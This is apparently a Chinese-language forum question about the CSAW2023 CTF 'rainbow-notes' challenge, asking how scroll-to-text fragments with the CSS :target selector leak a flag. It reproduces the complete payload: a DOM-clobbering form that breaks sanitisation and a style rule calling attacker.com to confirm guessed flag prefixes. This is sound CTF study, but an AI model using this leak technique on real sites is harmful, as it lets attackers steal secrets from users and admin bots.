以下内容涉及CSAW2023 CTF的剧透【CTF已经结束,但还是想警告一下】
在最近的 CSAW2023 CTF 中,在名为 rainbow-notes 的挑战中,我们获得了一个用于编写笔记的网站,以及一个指向管理机器人的链接,您可以在其中提供 URL,它将访问该 URL。在访问给定 URL 之前,它会访问 Rainbow-notes 网站并添加带有标记的注释:
csawctf{flaghere}
。
解决方案(与链接中引用的解决方案类似,但为了方便起见略有不同)如下:
<form id="f"><input name="insertBefore">X</form>
,并且使用 name="insertBefore
将会隐藏 insertBefore 函数,并且执行消毒的函数将会崩溃。 这不是重要的部分,但我提到它是为了避免混淆<style>:target{background:url("https://attacker.com/?a=b")}</style>#:~:text=csawctf{a
,我们在末尾添加“滚动到文本片段”(#:~:text=
)
) 其中末尾的 a
可以替换为标志的任何前缀。我们将发送给机器人的最终有效负载可能如下所示:
https://rainbow-notes.csaw.io/?note=<form id="f"><input name="insertBefore">X<style>:target{background:url("https://attacker.com/?a=b")}</style></form>#:~:text=csawctf{5af5c57dd6}
现在的想法是,如果我们写了正确的标志前缀,滚动到文本片段(STTF)就会起作用,我们将调用 URL,所以现在我们可以慢慢暴力破解解决方案。
我想知道这个滚动到文本片段(
#:~:text=
)是如何工作的。如果没有与 STTF 匹配的文本,为什么它不调用 webhook?
查看 STTF 的规范,我找不到任何谈论此行为的内容。我想这与
:target
位有关,但我不知道。
当我在自己的计算机上使用 STTF 运行代码时,如果没有匹配的文本,我可以发现任何错误。
更新:跟随this链接并阅读有关
:target
选择器的内容,我开始了解情况,但我仍然不确定。据我了解, :target
选择器是一个特殊的选择器,它应用于“url 片段”中引用的元素,例如http://google.com/index.html#section1
,其中片段为 section1
,:target
将引用它。所以在我们的例子中,#:~:text=csaw{a
是URL片段,一旦选择(如果存在!),
:target
引用的代码(在我们的例子中调用攻击者url)将运行,并让我们知道这个片段实际上存在。:target
伪元素是一种特殊的伪元素,它引用了
URI Fragment,在我们的例子中是STTF。如果有一个字符串与我们在 STTF 中编写的字符串匹配,它将成为
:target
部分引用,因此 {background:url("https://attacker.com/?a=b")}
代码将被执行。否则(即,如果没有匹配的字符串)什么也不会发生。
这意味着 STTF 不会抛出错误,诀窍很简单,如果不匹配,代码将不会被执行。